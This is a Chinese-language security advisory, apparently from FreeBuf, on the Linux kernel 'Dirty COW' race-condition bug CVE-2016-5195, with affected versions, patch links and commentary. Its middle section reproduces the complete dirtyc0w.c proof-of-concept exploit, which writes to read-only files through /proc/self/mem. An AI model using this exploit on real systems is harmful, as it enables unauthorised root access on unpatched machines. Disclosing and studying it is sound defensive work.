【漏洞预警】Linux内核9年高龄的“脏牛”0day漏洞

近日针对产品服务器的攻击中发现的安全漏洞,已由Linux内核团队修复。这个0day漏洞的编号为CVE-2016-5195,但它在网络上还有另一个大名——“

近日针对产品服务器的攻击中发现的安全漏洞,已由Linux内核团队修复。这个0day漏洞的编号为CVE-2016-5195,但它在网络上还有另一个大名——“脏牛”(Dirty COW)。

【漏洞预警】Linux内核9年高龄的“脏牛”0day漏洞

漏洞编号:

CVE-2016-5195

漏洞名称:

Dirty COW

漏洞危害:

低权限用户利用该漏洞技术可以在众多Linux系统上实现本地提权

影响范围:

Linux内核>=2.6.22(2007年发行)

漏洞概述:

根据Red Hat上的信息,这个漏洞具体是,Linux内存在处理写入时复制(copy-on-write, COW)时发生了竞态条件(race condition)。不可信的用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。(A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.)

竞态条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。

利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得root权限。

根据官方发布的补丁信息,这个问题可以追溯到2007年发布的Linux内核。现在还没有任何证据表明,2007年后是否有黑客利用了这个漏洞。但是安全专家Phil Oester发现一名攻击者利用该漏洞部署攻击,并向Red Hat通报了最近的攻击事件。

修复方法:

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。目前更新版本如下:Linux kernel 4.8.3, Linux kernel 4.7.9, and Linux kernel 4.4.26 LTS,可在此下载 https://www.kernel.org/

软件开发人员也可以通过 https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

漏洞POC:

/*####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -lpthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################*/#include  #include  #include  #include  #include  void *map;int f;struct stat st;char *name; void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) {/*You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661> This is achieved by racing the madvise(MADV_DONTNEED) system call> while having the page of the executable mmapped in memory.*/ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d/n/n",c);} void *procselfmemThread(void *arg){ char *str; str=(char*)arg;/*You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16> The in the wild exploit we are aware of doesn't work on Red Hat> Enterprise Linux 5 and 6 out of the box because on one side of> the race it writes to /proc/self/mem, but /proc/self/mem is not> writable on Red Hat Enterprise Linux 5 and 6.*/ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) {/*You have to reset the file pointer to the memory position.*/ lseek(f,map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d/n/n", c);} int main(int argc,char *argv[]){/*You have to pass two arguments. File and Contents.*/ if (argc<3)return 1; pthread_t pth1,pth2;/*You have to open the file in read only mode.*/ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];/*You have to use MAP_PRIVATE for copy-on-write mapping.> Create a private copy-on-write mapping. Updates to the> mapping are not visible to other processes mapping the same> file, and are not carried through to the underlying file. It> is unspecified whether changes made to the file after the> mmap() call are visible in the mapped region.*//*You have to open with PROT_READ.*/ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %x/n/n",map);/*You have to do it on two threads.*/ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);/*You have to wait for the threads to finish.*/ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}     

安全公司高估了“脏牛”的威胁?

虽然“脏牛”漏洞是在实际攻击中发现的,但业内并不认为它对Linux生态系统构成了致命危险,不过还是应该及时更新系统。

安全公司过度夸大了这个漏洞,而漏洞发现者决定嘲笑下这些公司。他们为“脏牛”做了logo和主页,设了推特账户,还开了个网店,店里的电脑包售价仅在1.71万美元(上万了呢)。

【漏洞预警】Linux内核9年高龄的“脏牛”0day漏洞

话虽如此,“脏牛”漏洞构成的威胁还是真实存在的。在接受V3的采访时,Oester披露,有攻击者上传并执行CVE-2016-5195漏洞利用,攻击了他管理的某个网站。Oester表示:“这个漏洞年代久远,可以影响到许多年前发布的Linux内核。所有Linux用户都应严肃对待这个漏洞,及时修复系统。”

*漏洞盒子安全团队发布,转载请注明来自FreeBuf(FreeBuf.COM)

未登录用户
全部评论0
到底啦